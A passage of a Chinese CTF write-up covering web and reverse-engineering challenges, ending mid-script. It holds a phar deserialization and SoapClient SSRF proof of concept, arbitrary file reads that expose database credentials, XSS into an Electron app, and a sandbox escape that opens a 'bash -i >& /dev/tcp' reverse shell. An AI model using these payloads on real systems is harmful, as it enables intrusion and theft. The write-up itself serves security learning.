if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
所以目标很明确，就是要ssrf的点来触发这个，从而把flag发给我
但是很尴尬的是在`func.php`中的正则，过滤掉了`phar`这个关键字，所以初看，感觉点没有办法触发，但是后面经过分析正则的话，发现使用如下方式可以bypass掉这个正则过滤，进而触发phar反序列化。
php://filter/read=convert.base64-encode/resource=phar://poc.phar
之所以想到这个phar文件，是因为这是一个上传题，而且存在一个疑似phar反序列化的触发点—`func.php`中的这几行代码
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
具体来说就是`getMIME()`函数中的`finfo_open`函数
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}
但是网站并没有公开说明这个函数可以触发phar反序列化，我是怎么知道的呢？
zsx师傅曾在他的文章[《Phar与Stream Wrapper造成PHP
RCE的深入挖掘》](https://blog.zsxsoft.com/post/38)写到，只要函数在底层调用了这个`php_stream_locate_url_wrapper`函数，那么就能触发phar反序列化，而`finfo_open`函数在底层恰好就是使用了这个函数。（其实这个点本地盲打也能触发，所以发现的话也不难）
ext/fileinfo/fileinfo.c:517
到此为止反序列化已经完整了，那么怎么进行ssrf呢？很容易联想到之前`wupco`出的easyphp中的`SoapClient`，所以就可以构造如下payload
<?php
class File{
public $file_name;
public $type;
public $func = "SoapClient";
function __construct(){
// $this->file_name = array(null, array('location' => "http://127.0.0.1/admin.php", 'uri' => "123", 'user_agent' => "heiheirnContent-Type: application/x-www-form-urlencodedrnContent-Length: 133rnrnip=47.90.204.28&port=2333&admin=123&clazz=ArrayIterator&func1=append&func2=append&func3=append&arg1=1&arg2=1&arg3=1rnrnrn"));
$this->file_name = array(null, array('location' => "http://127.0.0.1/admin.php", 'uri' => "123", 'user_agent' => "heiheirnContent-Type: application/x-www-form-urlencodedrnContent-Length: 133rnrnip=47.90.204.28&port=2333&admin=123&clazz=SplStack&func1=push&func2=push&func3=push&arg1=1&arg2=1&arg3=1rnrnrn"));
}
}
$o = new File();
$filename = 'poc.phar';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a< ?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
修改后缀为`gif`之后上传得到上传路径来触发
php://filter/read=convert.base64-encode/resource=phar://upload/8256248f8bb97051ddea1f7946057e08/2d32ae0bbeb53285459d07235d464102.gif
直接得到flag
### 0x06 Cocktail’s Remix
**题目描述**
<http://47.111.59.243:9016/>
**题目解答**
访问 <http://47.111.59.243:9016/>
发现回显的是 It Works!
所以尝试爆破路径
结果发现 <http://47.111.59.243:9016/robots.txt>
User-agent: *
Disallow: /info.php
Disallow: /download.php
Disallow: /config.php
存在任意文件下载漏洞 <http://47.111.59.243:9016/download.php>
参数是fuzz出来的`filename`（字典链接同上）
继续使用上述字典进行fuzz，筛选出有价值的信息如下
从`/etc/hosts`发现是存在内网的mysql服务器的
# /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.77.120.11 MysqlServer
172.77.120.10 f8a7f2ca8591
继续读源码
# download.php
<?php
$filename = $_GET['filename'];
header("Content-Disposition: attachment;filename=".$filename);
header('Content-Length: '.filesize($filename));
readfile($filename);
?>
看到读出了MySQL的账号密码
# config.php
<?php
//$db_server = "MysqlServer";
//$db_username = "dba";
//$db_password = "rNhHmmNkN3xu4MBYhm";
?>
还有一个phpinfo页面
# info.php
<?php
phpinfo();
?>
在页面上没有发现常规漏洞，但是发现了一个与题目名称类似的扩展模块
所以尝试进行下载 `/usr/lib/apache2/modules/mod_cocktail.so`
先用file命令看了一下，发现是64位程序，所以使用IDA Pro直接来进行分析
直接定位到关键函数，可以看到其中使用了`popen`函数来执行经过`j_remix`函数处理的`reffer`变量，所以基本可以判定此处是存在一个命令执行的后门。
`j_remix`函数是调用了`remix`函数，看起来比较复杂，但应该是某种编码方式
此处使用IDA的findcrypt插件，直接发现了base64表，所以猜测是base64编码
那么接下来可以测一下这个后门，可以看到成功回显
可以看到没有权限写webshell
所以可能稍微麻烦一点，我们得用之前得到的mysql账号密码来查看数据库的内容
mysql -hMysqlServer -udba -prNhHmmNkN3xu4MBYhm -e "show databases;" > /tmp/zero.txt && cat /tmp/zero.txt && rm /tmp/zero.txt
mysql -hMysqlServer -udba -prNhHmmNkN3xu4MBYhm -e "use flag;show tables;" > /tmp/zero.txt && cat /tmp/zero.txt && rm /tmp/zero.txt
mysql -hMysqlServer -udba -prNhHmmNkN3xu4MBYhm -e "use flag;select * from flag;" > /tmp/zero.txt && cat /tmp/zero.txt && rm /tmp/zero.txt
### 0x07 Game
**题目描述**
How fast can you play?
<http://47.111.59.243:1081>
**题目解答**
直接查看源代码得到flag（假的，emmmm
view-source:<http://47.111.59.243:1081/>
<div class="text text--best-time">
<icon trophy></icon>
<span>Well done!，
here is your flag:ON2WG5DGPNUECSDBNBQV6RTBNMZV6RRRMFTX2=== </span>
</div>
</div>
base32后得到flag
suctf{hAHaha_Fak3_F1ag}
既然是个游戏就有可能是改的开源代码，所以抱这这种想法就去找了源码，就找到了
<http://www.jq22.com/jquery-info21216>
然后从里面diff出不同点
var acd = mysecretishere.iZwz9i9xnerwj6o7h40eauZ.png;
之后下载图片
wget http://47.111.59.243:1081/iZwz9i9xnerwj6o7h40eauZ.png
分析之后发现是lsb隐写
U2FsdGVkX1+zHjSBeYPtWQVSwXzcVFZLu6Qm0To/KeuHg8vKAxFrVQ==
使用3des解密即可得到flag
### 0x08 iCloudMusic-WriteUp
首先下载附件，可以看出是一个nodejs写的App，采用了electron框架。其实就是将网页封装为了一个App。所以还是一道web题。尝试对其逆向解包。
> mac环境
首先进入该App包目录。可以在以下目录发现一个app.asar文件，该文件为App核心代码。逆向其即可。在这里采用官方的解包就可以。
# iCloudMusic.app/Contents/Resources/
# 复制备份到工作目录
cp ./app.asar /tmp/app.asar
cd /tmp
# 安装 asar 包
npm install asar
# 逆向app.asar
asar extract app.asar app
cd app
# 安装App运行依赖
npm install、
# 启动App
npm start
按以上步骤，即可以源码形式跑起来这个应用。
跑起来，大概看一下逻辑，发现存在一个向管理员反馈的接口。此时80%确定是一个xss题目了。然后再分析源码。可以发现250多行这里，有一个代码执行。其中是直接拼接了一些内容。然后使用view的`executeJavaScript`方法进行代码执行。
继续分析，可以管理员反馈接口处参数如下：
id=2810583532
&music={"header":"xxxx","title":"xxxx","desc":"xxx"}
&code=612346
根据以上内容， 大胆猜测，小心求证。尝试对header进行注入(可以本地先尝试js_to_run代码注入后是否可以运行，然后再打远程)。
开启本地调试环境，加入调试代码。然后再运行。
// index.js
//在22行左右添加如下代码，开启开发者工具。
mainWindow.openDevTools();
最终music的poc
{"header":"'var t = new XMLHttpRequest;t.open('POST', '//eval.com:port', !0),t.setRequestHeader('Content-type', 'text/plain'),t.onreadystatechange = function() { 4 == t.readyState && t.status},t.send('test,hhhh');//};","title":"xxxx","desc":"xxx"}
此时xss成功get，但是尝试读了很多东西，发现没啥用。询问出题人才知道，这题要getshell。
electron有一个危害，就是可以直接调用系统api，所以可以直接getshell。但是尝试无果。最终发现，原来是view搞的鬼。正如之前所说，是调用view的方法，执行js。
分析可以发现，这个view是一个webview窗口，相当于是一个沙盒。默认是没有办法调用系统api的。
此时需要想办法来做一个沙盒逃逸。根据hint：contextisolation，以及文章，可以了解到。
由于contextisolation关闭，可以导致webview沙盒内与pr.js内变量在同一作用域，可以覆盖pr.js的变量。而且pr.js是不在沙盒运行限制内。所以，只要想办法覆盖掉pr.js的函数调用逻辑，即可绕过webview沙盒。
可以在main.js中，插入以下代码，开启webview沙盒的开发者工具。
// main.js
webview = document.getElementById("view");
webview.addEventListener("dom-ready", function() {
webview.openDevTools();
});
比赛时，审request源码，动态跟逻辑，尝试了半天。最终还是太菜了。fuzz也尝试了。但是奈何自己考虑不周。
最后看了wp，才发现自己还是经验不足，学到了很多。
自己的payload：
Function.prototype.apply=function(process){
process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/XXXXXX/8080 0>&1"');
}
request.get('http://www.baidu.com/',null)
虽然仅仅是差了一步保存状态，但是自己确实一直以来从未考虑过这个问题，认为只有实战中才要考虑
，CTF就是瞎鸡儿日就ok了。看似一步之差，差的缺很多很多。尤其是看完wp。
比如： **一定要不破坏环境，考虑周全。一定要不破坏环境，考虑周全。一定要不破坏环境，考虑周全。**
最终沙盒逃逸代码如下：
Function.prototype.apply2=Function.prototype.apply;
Function.prototype.apply=function(...args){
if(args[0]!=null && args[0]!=undefined && args[0].env!=undefined){
Function.prototype.apply=Function.prototype.apply2;
args[0].mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/XXXXXX/8080 0>&1"');
}
return this.apply2(...args)
}
request.get('http://www.baidu.com/',null)
## 参考资料
* [测试 Electron 应用的基本指南](https://xz.aliyun.com/t/2461)
* [Electron: Abusing the lack of context isolation – CureCon(en)](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en)
## re
### hardCpp
程序核心的加密与验证部分如下图所示,需要注意关于时间的反调试与干扰变量
观察输出信息：func(?)=”01abfc750a0c942167651c40d088531d”?”。
md5解密后为字符‘#’,说明第一个字符必须是‘#’，然后爆破即可,脚本如下。
hexData = [0xF3, 0x2E, 0x18, 0x36, 0xE1, 0x4C, 0x22, 0xD1, 0xF9, 0x8C, 0x40, 0x76, 0xF4, 0x0E, 0x00, 0x05,
0xA3, 0x90, 0x0E, 0xA5 ]
a=ord('#')
flag=''
for i in range(20):
for j in range(33,127):
tmp=(((a % 7) + j) % 256) ^ (((3 * (18 ^ a)) + 2) % 256)
if ( tmp== hexData[i]):
a=j
flag+=chr(a)
break
print flag
### Akira HomeWork
首先程序有几处IsDebuggerPresent()的反调试需要注意，而且程序的输入函数是有bug的，运行就会崩溃。所以要绕过该call，手动在内存中输入数据。
第一关：
简单的字符串异或变换
data=[0x41,0x6A,0x6B,0x71,0x65,0x5A,0x67,0x72,0x7C,0x39,0x55,0x68,0x64,0x3E,0x7D,0x7C,0x4F,0x30,]
first=''
for i in range(18):
first += chr(data[i]^i)
print first
第二关：
会读取一个文件，这里同样绕过call，手动在内存输入数据。最终加密后会与
FCAEEB6E34B4303E99B91206BD325F2B
比较，其实就是md5加密，对应明文为“Overwatch”。
第三关：
程序会对内存中的某段数据进行三次解密运算操作
三处解密代码运行在不同时机，作用于同一个内存数据。必须前两关输入的内容正确才能正常触发，其中第二处解密代码不会被执行，导致最终dump出的数据未被完全还原。
并且异或的值也未知，但看出这段数据像PE文件，不难写出解密代码
for i in range(0x4c00):
if (i % 3 == 1):
hexData[i] ^= 0x59
for i in range(0x4c00):
print "%02X"%(hexData[i]),
此时得到的数据便是一个DLL文件
该dll会读取共享内存，并进行AES解密运算，密钥为“Ak1i3aS3cre7K3y”。
而共享数据则在原来的exe中
所以AES密文为
94 BF 7A 0C A4 35 50 D1 C2 15 EC EF 9D 9A AA 56
最后解密即可！
### babyunic
程序使用unicorn模拟执行二进制文件func
func为mips指令集大端模式，使用jeb-mips反编译效果如下（demo版本只能看，不能复制，气不气？打完比赛之后第一件事就是把jeb破掉。。。）
func调用完成将结果与内存区域的数据进行比较，相等则验证通过
将其翻译成python脚本如下
#你的输入
input='your input'
#正确加密结果
enFlag=[-108,-200,294,-216,-1008,660,-866,1770,220,6,-244,-522,-1406,-816,386,990,334,690,-1832,372,
-1370,-1580,450,-1668,858,326,-196,-1516,462,2012,-696,152,2142,-592,-68,878,
-178,-1994,1472,1710,1684,34]
#加密运算
for i in range(len(input)):
v2=input[i]
v3=v2>>5 | (v2<<3)%256
print v3
input[i]=v3^i
enFlag[0] = ( (input[1])) + ( (input[2])) + ( input[0]) - ( (input[3])) + ( (input[4])) - ( (input[5])) - ( (input[6])) - ( (input[7])) - ( (input[8])) + ( (input[9])) + ( (input[10])) - ( (input[11])) + ( (input[12])) - ( (input[13])) - ( (input[14])) + ( (input[15])) - ( (input[16])) - ( (input[17])) + ( (input[18])) + ( (input[19])) - ( (input[20])) + ( (input[21])) + (( (input[22])) + ( (input[23]))) + ( (input[24])) - ( (input[25])) + ( (input[26])) - ( (input[27])) + ( (input[28])) + ( (input[29])) - ( (input[30])) - ( (input[31])) + ( (input[32])) - ( (input[33])) + ( (input[34])) + ( (input[35])) - ( (input[36])) - ( (input[37])) + ( (input[38])) - ( (input[39])) + ( (input[40])) + ( (input[41]));
enFlag[1] = ( input[0]) - ( (input[1])) + ( (input[2])) - ( (input[3])) - ( (input[4])) + ( (input[5])) - ( (input[6])) - ( (input[7])) - ( (input[8])) - ( (input[9])) + ( (input[10])) - ( (input[11])) + ( (input[12])) - ( (input[13])) - ( (input[14])) + ( (input[15])) - ( (input[16])) - ( (input[17])) + ( (input[18])) - ( (input[19])) + ( (input[20])) + ( (input[21])) - ( (input[22])) - ( (input[23])) - ( (input[24])) + ( (input[25])) - ( (input[26])) + ( (input[27])) - ( (input[28])) - ( (input[29])) + ( (input[30])) + (( (input[31])) + ( (input[32]))) + (( (input[33])) + ( (input[34])) + ( (input[35]))) - ( (input[36])) - ( (input[37])) - ( (input[38])) - ( (input[39])) - ( (input[40])) + ( (input[41]));
enFlag[2] = ( input[0]) - ( (input[1])) + ( (input[2])) + ( (input[3])) - ( (input[4])) + ( (input[5])) - ( (input[6])) - ( (input[7])) + ( (input[8])) - ( (input[9])) - ( (input[10])) - ( (input[11])) - ( (input[12])) - ( (input[13])) + ( (input[14])) - ( (input[15])) - ( (input[16])) + ( (input[17])) + (( (input[18])) + ( (input[19]))) + (( (input[20])) + ( (input[21]))) - ( (input[22])) + ( (input[23])) + (( (input[24])) + ( (input[25]))) + ( (input[26])) - ( (input[27])) + ( (input[28])) - ( (input[29])) + ( (input[30])) - ( (input[31])) + ( (input[32])) + ( (input[33])) - ( (input[34])) - ( (input[35])) + ( (input[36])) + (( (input[37])) + ( (input[38]))) - ( (input[39])) + ( (input[40])) - ( (input[41]));
enFlag[3] = ( input[0]) - ( (input[1])) - ( (input[2])) - ( (input[3])) - ( (input[4])) - ( (input[5])) + ( (input[6])) + ( (input[7])) - ( (input[8])) - ( (input[9])) - ( (input[10])) - ( (input[11])) + ( (input[12])) - ( (input[13])) + ( (input[14])) - ( (input[15])) + ( (input[16])) - ( (input[17])) + ( (input[18])) + (( (input[19])) + ( (input[20]))) - ( (input[21])) + ( (input[22])) + (( (input[23])) + ( (input[24]))) - ( (input[25])) - ( (input[26])) + ( (input[27])) - ( (input[28])) + ( (input[29])) + ( (input[30])) - ( (input[31])) - ( (input[32])) - ( (input[33])) + ( (input[34])) - ( (input[35])) + ( (input[36])) + (( (input[37])) + ( (input[38]))) - ( (input[39])) + ( (input[40])) + ( (input[41]));
enFlag[4] = ( input[0]) - ( (input[1])) - ( (input[2])) + ( (input[3])) - ( (input[4])) - ( (input[5])) + ( (input[6])) + (( (input[7])) + ( (input[8]))) + ( (input[9])) - ( (input[10])) + ( (input[11])) + ( (input[12])) - ( (input[13])) + ( (input[14])) - ( (input[15])) + ( (input[16])) + ( (input[17])) - ( (input[18])) + ( (input[19])) - ( (input[20])) + ( (input[21])) - ( (input[22])) - ( (input[23])) - ( (input[24])) + ( (input[25])) - ( (input[26])) - ( (input[27])) - ( (input[28])) + ( (input[29])) + (( (input[30])) + ( (input[31]))) - ( (input[32])) + ( (input[33])) - ( (input[34])) - ( (input[35])) + ( (input[36])) - ( (input[37])) + ( (input[38])) - ( (input[39])) - ( (input[40])) - ( (input[41]));
enFlag[5] = ( (input[1])) + ( (input[2])) + (( (input[3])) + ( (input[4]))) + (( (input[5])) + ( (input[6])) + (( (input[7])) + ( (input[8])))) + ( input[0]) - ( (input[9])) - ( (input[10])) - ( (input[11])) - ( (input[12])) - ( (input[13])) - ( (input[14])) + ( (input[15])) - ( (input[16])) + ( (input[17])) - ( (input[18])) + ( (input[19])) + ( (input[20])) - ( (input[21])) + ( (input[22])) - ( (input[23])) + ( (input[24])) - ( (input[25])) + ( (input[26])) + ( (input[27])) - ( (input[28])) + ( (input[29])) - ( (input[30])) + ( (input[31])) + (( (input[32])) + ( (input[33]))) - ( (input[34])) - ( (input[35])) - ( (input[36])) + ( (input[37])) - ( (input[38])) - ( (input[39])) + ( (input[40])) + ( (input[41]));
enFlag[6] = ( input[0]) - ( (input[1])) + ( (input[2])) + (( (input[3])) + ( (input[4]))) - ( (input[5])) + ( (input[6])) + (( (input[7])) + ( (input[8]))) + ( (input[9])) - ( (input[10])) + ( (input[11])) + ( (input[12])) - ( (input[13])) + ( (input[14])) + (( (input[15])) + ( (input[16]))) + ( (input[17])) - ( (input[18])) - ( (input[19])) - ( (input[20])) - ( (input[21])) - ( (input[22])) - ( (input[23])) + ( (input[24])) + ( (input[25])) - ( (input[26])) + ( (input[27])) + (( (input[28])) + ( (input[29]))) - ( (input[30])) - ( (input[31])) - ( (input[32])) - ( (input[33])) - ( (input[34])) - ( (input[35])) + ( (input[36])) + ( (input[37])) - ( (input[38])) - ( (input[39])) + ( (input[40])) - ( (input[41]));
enFlag[7] = ( (input[1])) + ( input[0]) - ( (input[2])) - ( (input[3])) - ( (input[4])) + ( (input[5])) + ( (input[6])) - ( (input[7])) + ( (input[8])) + ( (input[9])) - ( (input[10])) + ( (input[11])) - ( (input[12])) + ( (input[13])) - ( (input[14])) + ( (input[15])) - ( (input[16])) + ( (input[17])) - ( (input[18])) - ( (input[19])) + ( (input[20])) - ( (input[21])) + ( (input[22])) - ( (input[23])) - ( (input[24])) + ( (input[25])) - ( (input[26])) + ( (input[27])) + (( (input[28])) + ( (input[29]))) + (( (input[30])) + ( (input[31])) + ( (input[32]))) - ( (input[33])) + ( (input[34])) - ( (input[35])) + ( (input[36])) + (( (input[37])) + ( (input[38]))) + ( (input[39])) - ( (input[40])) - ( (input[41]));
enFlag[8] = ( input[0]) - ( (input[1])) - ( (input[2])) + ( (input[3])) + ( (input[4])) - ( (input[5])) + ( (input[6])) + (( (input[7])) + ( (input[8]))) + (( (input[9])) + ( (input[10]))) - ( (input[11])) - ( (input[12])) + ( (input[13])) - ( (input[14])) + ( (input[15])) + (( (input[16])) + ( (input[17]))) + ( (input[18])) - ( (input[19])) + ( (input[20])) + ( (input[21])) - ( (input[22])) - ( (input[23])) + ( (input[24])) + (( (input[25])) + ( (input[26]))) - ( (input[27])) + ( (input[28])) - ( (input[29])) - ( (input[30])) - ( (input[31])) - ( (input[32])) - ( (input[33])) + ( (input[34])) - ( (input[35])) - ( (input[36])) + ( (input[37])) - ( (input[38])) - ( (input[39])) + ( (input[40])) - ( (input[41]));
enFlag[9] = ( (input[1])) + ( (input[2])) + ( input[0]) - ( (input[3])) + ( (input[4])) + (( (input[5])) + ( (input[6]))) - ( (input[7])) - ( (input[8])) - ( (input[9])) - ( (input[10])) + ( (input[11])) + (( (input[12])) + ( (input[13]))) - ( (input[14])) + ( (input[15])) + ( (input[16])) - ( (input[17])) - ( (input[18])) + ( (input[19])) + ( (input[20])) - ( (input[21])) - ( (input[22])) - ( (input[23])) + ( (input[24])) - ( (input[25])) - ( (input[26])) - ( (input[27])) + ( (input[28])) + (( (input[29])) + ( (input[30]))) - ( (input[31])) + ( (input[32])) + ( (input[33])) - ( (input[34])) - ( (input[35])) - ( (input[36])) - ( (input[37])) + ( (input[38])) - ( (input[39])) + ( (input[40])) + ( (input[41]));
enFlag[10] = ( input[0]) - ( (input[1])) + ( (input[2])) + ( (input[3])) - ( (input[4])) - ( (input[5])) + ( (input[6])) + ( (input[7])) - ( (input[8])) - ( (input[9])) - ( (input[10])) - ( (input[11])) + ( (input[12])) + (( (input[13])) + ( (input[14]))) - ( (input[15])) + ( (input[16])) - ( (input[17])) + ( (input[18])) + (( (input[19])) + ( (input[20]))) - ( (input[21])) + ( (input[22])) - ( (input[23])) - ( (input[24])) - ( (input[25])) + ( (input[26])) - ( (input[27])) - ( (input[28])) + ( (input[29])) - ( (input[30])) + ( (input[31])) + ( (input[32])) - ( (input[33])) - ( (input[34])) + ( (input[35])) - ( (input[36])) - ( (input[37])) + ( (input[38])) - ( (input[39])) + ( (input[40])) + ( (input[41]));
enFlag[11] = ( input[0]) - ( (input[1])) + ( (input[2])) + (( (input[3])) + ( (input[4]))) - ( (input[5])) + ( (input[6])) + ( (input[7])) - ( (input[8])) + ( (input[9])) + ( (input[10])) - ( (input[11])) - ( (input[12])) - ( (input[13])) - ( (input[14])) + ( (input[15])) - ( (input[16])) - ( (input[17])) - ( (input[18])) + ( (input[19])) + ( (input[20])) - ( (input[21])) + ( (input[22])) - ( (input[23])) + ( (input[24])) + (( (input[25])) + ( (input[26]))) + ( (input[27])) - ( (input[28])) + ( (input[29])) + ( (input[30])) - ( (input[31])) - ( (input[32])) - ( (input[33])) - ( (input[34])) - ( (input[35])) + ( (input[36])) + ( (input[37])) - ( (input[38])) - ( (input[39])) - ( (input[40])) - ( (input[41]));
enFlag[12] = ( input[0]) - ( (input[1])) - ( (input[2])) - ( (input[3])) + ( (input[4])) - ( (input[5])) - ( (input[6])) + ( (input[7])) + ( (input[8])) - ( (input[9])) + ( (input[10])) - ( (input[11])) - ( (input[12])) - ( (input[13])) + ( (input[14])) - ( (input[15])) + ( (input[16])) - ( (input[17])) + ( (input[18])) - ( (input[19])) - ( (input[20])) - ( (input[21])) - ( (input[22])) + ( (input[23])) - ( (input[24])) + ( (input[25])) - ( (input[26])) + ( (input[27])) - ( (input[28])) + ( (input[29])) - ( (input[30])) - ( (input[31])) + ( (input[32])) + (( (input[33])) + ( (input[34]))) - ( (input[35])) - ( (input[36])) - ( (input[37])) - ( (input[38])) + ( (input[39])) - ( (input[40])) - ( (input[41]));
enFlag[13] = ( input[0]) - ( (input[1])) + ( (input[2])) - ( (input[3])) + ( (input[4])) - ( (input[5])) + ( (input[6])) - ( (input[7])) + ( (input[8])) - ( (input[9])) + ( (input[10])) - ( (input[11])) + ( (input[12])) + (( (input[13])) + ( (input[14]))) + ( (input[15])) - ( (input[16])) - ( (input[17])) - ( (input[18])) + ( (input[19])) + (( (input[20])) + ( (input[21]))) - ( (input[22])) - ( (input[23])) + ( (input[24])) + ( (input[25])) - ( (input[26])) - ( (input[27])) + ( (input[28])) + ( (input[29])) - ( (input[30])) - ( (input[31])) - ( (input[32])) + ( (input[33])) - ( (input[34])) - ( (input[35])) + ( (input[36])) - ( (input[37])) - ( (input[38])) - ( (input[39])) + ( (input[40])) - ( (input[41]));
enFlag[14] = ( (input[1])) + ( (input[2])) + ( input[0]) - ( (input[3])) - ( (input[4])) - ( (input[5])) + ( (input[6])) - ( (input[7])) + ( (input[8])) + (( (input[9])) + ( (input[10]))) - ( (input[11])) + ( (input[12])) - ( (input[13])) - ( (input[14])) + ( (input[15])) + (( (input[16])) + ( (input[17]))) - ( (input[18])) - ( (input[19])) - ( (input[20])) - ( (input[21])) + ( (input[22])) + (( (input[23])) + ( (input[24]))) - ( (input[25])) + ( (input[26])) + (( (input[27])) + ( (input[28]))) - ( (input[29])) - ( (input[30])) - ( (input[31])) + ( (input[32])) + (( (input[33])) + ( (input[34]))) + (( (input[35])) + ( (input[36])) + (( (input[37])) + ( (input[38])))) - ( (input[39])) - ( (input[40])) - ( (input[41]));
enFlag[15] = ( input[0]) - ( (input[1])) + ( (input[2])) + (( (input[3])) + ( (input[4]))) + ( (input[5])) - ( (input[6])) + ( (input[7])) - ( (input[8])) - ( (input[9])) - ( (input[10])) + ( (input[11])) + (( (input[12])) + ( (input[13]))) - ( (input[14])) - ( (input[15])) - ( (input[16])) + ( (input[17])) - ( (input[18])) - ( (input[19])) - ( (input[20])) - ( (input[21])) + ( (input[22])) + (( (input[23])) + ( (input[24]))) + (( (input[25])) + ( (input[26])) + ( (input[27]))) - ( (input[28])) - ( (input[29])) - ( (input[30])) - ( (input[31])) + ( (input[32])) - ( (input[33])) + ( (input[34])) + (( (input[35])) + ( (input[36]))) + ( (input[37])) - ( (input[38])) + ( (input[39])) + ( (input[40])) - ( (input[41]));
enFlag[16] = ( input[0]) - ( (input[1])) + ( (input[2])) + ( (input[3])) - ( (input[4])) - ( (input[5])) + ( (input[6])) + (( (input[7])) + ( (input[8]))) + (( (input[9])) + ( (input[10]))) - ( (input[11])) + ( (input[12])) - ( (input[13])) + ( (input[14])) + (( (input[15])) + ( (input[16]))) - ( (input[17])) + ( (input[18])) - ( (input[19])) + ( (input[20])) - ( (input[21])) - ( (input[22])) - ( (input[23])) - ( (input[24])) - ( (input[25])) + ( (input[26])) + (( (input[27])) + ( (input[28]))) + ( (input[29])) - ( (input[30])) - ( (input[31])) + ( (input[32])) - ( (input[33])) - ( (input[34])) + ( (input[35])) - ( (input[36])) + ( (input[37])) - ( (input[38])) + ( (input[39])) - ( (input[40])) + ( (input[41]));
enFlag[17] = ( (input[1])) + ( (input[2])) + (( (input[3])) + ( (input[4]))) + ( input[0]) - ( (input[5])) + ( (input[6])) + (( (input[7])) + ( (input[8]))) - ( (input[9])) - ( (input[10])) + ( (input[11])) - ( (input[12])) + ( (input[13])) + (( (input[14])) + ( (input[15]))) - ( (input[16])) + ( (input[17])) - ( (input[18])) - ( (input[19])) + ( (input[20])) - ( (input[21])) + ( (input[22])) - ( (input[23])) - ( (input[24])) + ( (input[25])) - ( (input[26])) + ( (input[27])) - ( (input[28])) + ( (input[29])) - ( (input[30])) - ( (input[31])) + ( (input[32])) - ( (input[33])) - ( (input[34])) + ( (input[35])) - ( (input[36])) + ( (input[37])) - ( (input[38])) + ( (input[39])) + ( (input[40])) - ( (input[41]));
enFlag[18] = ( input[0]) - ( (input[1])) - ( (input[2])) - ( (input[3])) + ( (input[4])) + ( (input[5])) - ( (input[6])) + ( (input[7])) - ( (input[8])) + ( (input[9])) + ( (input[10])) - ( (input[11])) - ( (input[12])) - ( (input[13])) + ( (input[14])) - ( (input[15])) - ( (input[16])) + ( (input[17])) + (( (input[18])) + ( (input[19]))) - ( (input[20])) - ( (input[21])) - ( (input[22])) - ( (input[23])) - ( (input[24])) - ( (input[25])) - ( (input[26])) - ( (input[27])) + ( (input[28])) + (( (input[29])) + ( (input[30]))) - ( (input[31])) - ( (input[32])) - ( (input[33])) + ( (input[34])) - ( (input[35])) - ( (input[36])) - ( (input[37])) - ( (input[38])) - ( (input[39])) - ( (input[40])) + ( (input[41]));
enFlag[19] = ( (input[1])) + ( (input[2])) + (( (input[3])) + ( input[0])) - ( (input[4])) - ( (input[5])) + ( (input[6])) - ( (input[7])) - ( (input[8])) - ( (input[9])) - ( (input[10])) - ( (input[11])) - ( (input[12])) - ( (input[13])) + ( (input[14])) + (( (input[15])) + ( (input[16]))) - ( (input[17])) + ( (input[18])) + (( (input[19])) + ( (input[20]))) + ( (input[21])) - ( (input[22])) + ( (input[23])) + ( (input[24])) - ( (input[25])) + ( (input[26])) + ( (input[27])) - ( (input[28])) + ( (input[29])) + (( (input[30])) + ( (input[31]))) + (( (input[32])) + ( (input[33]))) - ( (input[34])) + ( (input[35])) - ( (input[36])) - ( (input[37])) - ( (input[38])) + ( (input[39])) + ( (input[40])) - ( (input[41]));
enFlag[20] = ( (input[1])) + ( input[0]) - ( (input[2])) - ( (input[3])) - ( (input[4])) + ( (input[5])) - ( (input[6])) + ( (input[7])) - ( (input[8])) - ( (input[9])) + ( (input[10])) + ( (input[11])) - ( (input[12])) - ( (input[13])) + ( (input[14])) - ( (input[15])) - ( (input[16])) + ( (input[17])) - ( (input[18])) - ( (input[19])) + ( (input[20])) + ( (input[21])) - ( (input[22])) + ( (input[23])) + ( (input[24])) - ( (input[25])) - ( (input[26])) - ( (input[27])) - ( (input[28])) - ( (input[29])) - ( (input[30])) - ( (input[31])) - ( (input[32])) + ( (input[33])) - ( (input[34])) + ( (input[35])) + ( (input[36])) - ( (input[37])) + ( (input[38])) - ( (input[39])) + ( (input[40])) - ( (input[41]));
enFlag[21] = ( input[0]) - ( (input[1])) - ( (input[2])) - ( (input[3])) + ( (input[4])) + (( (input[5])) + ( (input[6]))) + ( (input[7])) - ( (input[8])) - ( (input[9])) - ( (input[10])) - ( (input[11])) - ( (input[12])) - ( (input[13])) - ( (input[14])) - ( (input[15])) - ( (input[16])) + ( (input[17])) - ( (input[18])) - ( (input[19])) + ( (input[20])) - ( (input[21])) + ( (input[22])) + (( (input[23])) + ( (input[24]))) - ( (input[25])) - ( (input[26])) + ( (input[27])) - ( (input[28])) - ( (input[29])) - ( (input[30])) - ( (input[31])) - ( (input[32])) - ( (input[33])) - ( (input[34])) - ( (input[35])) - ( (input[36])) + ( (input[37])) - ( (input[38])) - ( (input[39])) - ( (input[40])) + ( (input[41]));
enFlag[22] = ( (input[1])) + ( (input[2])) + (( (input[3])) + ( (input[4]))) + (( (input[5])) + ( (input[6])) + (( (input[7])) + ( input[0]))) - ( (input[8])) + ( (input[9])) - ( (input[10])) + ( (input[11])) - ( (input[12])) + ( (input[13])) + (( (input[14])) + ( (input[15]))) - ( (input[16])) + ( (input[17])) + ( (input[18])) - ( (input[19])) - ( (input[20])) + ( (input[21])) + ( (input[22])) - ( (input[23])) + ( (input[24])) - ( (input[25])) - ( (input[26])) + ( (input[27])) - ( (input[28])) + ( (input[29])) + (( (input[30])) + ( (input[31]))) - ( (input[32])) + ( (input[33])) - ( (input[34])) - ( (input[35])) - ( (input[36])) - ( (input[37])) + ( (input[38])) - ( (input[39])) + ( (input[40])) + ( (input[41]));
